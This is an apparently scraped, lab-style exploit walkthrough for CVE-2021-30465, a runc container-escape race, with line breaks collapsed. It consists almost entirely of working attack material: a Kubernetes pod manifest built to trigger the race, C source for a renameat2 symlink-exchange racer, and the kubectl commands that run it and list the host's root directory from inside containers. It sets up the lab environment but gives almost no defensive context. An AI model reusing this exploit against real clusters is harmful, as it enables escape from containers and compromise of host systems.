# docker./metarget cnv install cve-2021-30465# k8s./metarget gadget install k8s --version 1.16.5 --domestic

sudo kubectl create -f - <<EOFapiVersion: v1kind: Podmetadata:name: attackspec:terminationGracePeriodSeconds: 1containers:- name: c1image: ubuntu:latestcommand: [ "/bin/sleep", "inf" ]env:- name: MY_POD_UIDvalueFrom:fieldRef:fieldPath: metadata.uidvolumeMounts:- name: test1mountPath: /test1- name: test2mountPath: /test2$(for c in {2..20}; docat <<EOC- name: c$cimage: donotexists.com/do/not:existcommand: [ "/bin/sleep", "inf" ]volumeMounts: #容器内挂载点- name: test1 #宿主机⽬录名mountPath: /test1 #容器内⽬录名- name: test2mountPath: /test1/mnt1- name: test2mountPath: /test1/mnt2- name: test2mountPath: /test1/mnt3- name: test2mountPath: /test1/mnt4- name: test2mountPath: /test1/zzzEOCdone)volumes:- name: test1 #宿主机⽬录名
emptyDir: #宿主机挂载点medium: "Memory"- name: test2emptyDir:medium: "Memory"EOF

#define _GNU_SOURCE#include <fcntl.h>#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <sys/stat.h>#include <unistd.h>#include <sys/syscall.h>#ifndef RENAME_EXCHANGE#define RENAME_EXCHANGE (1 << 1)#endifint main(int argc, char *argv[]) {if (argc != 4) {fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);exit(EXIT_FAILURE);}char *name1 = argv[1], *name2 = argv[2], *linkdest = argv[3];int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);if (dirfd < 0)exit(EXIT_FAILURE);if (mkdir(name1, 0755) < 0)perror("mkdir failed");if (symlink(linkdest, name2) < 0)perror("symlink failed");while (1)syscall(SYS_renameat2, dirfd, name1, dirfd, name2, RENAME_EXCHANGE);}

kubectl cp race -c c1 attack:/test1/

sudo kubectl exec -it attack -c c1 bashln -s / /test2/test2

seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{}/var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/

for c in {2..20}; dosudo kubectl set image pod attack c$c=ubuntu:latestdone

for c in {2..20}; doecho ~~ Container c$c ~~sudo kubectl exec -ti pod/attack -c c$c -- ls /test1/zzzdone

课程费用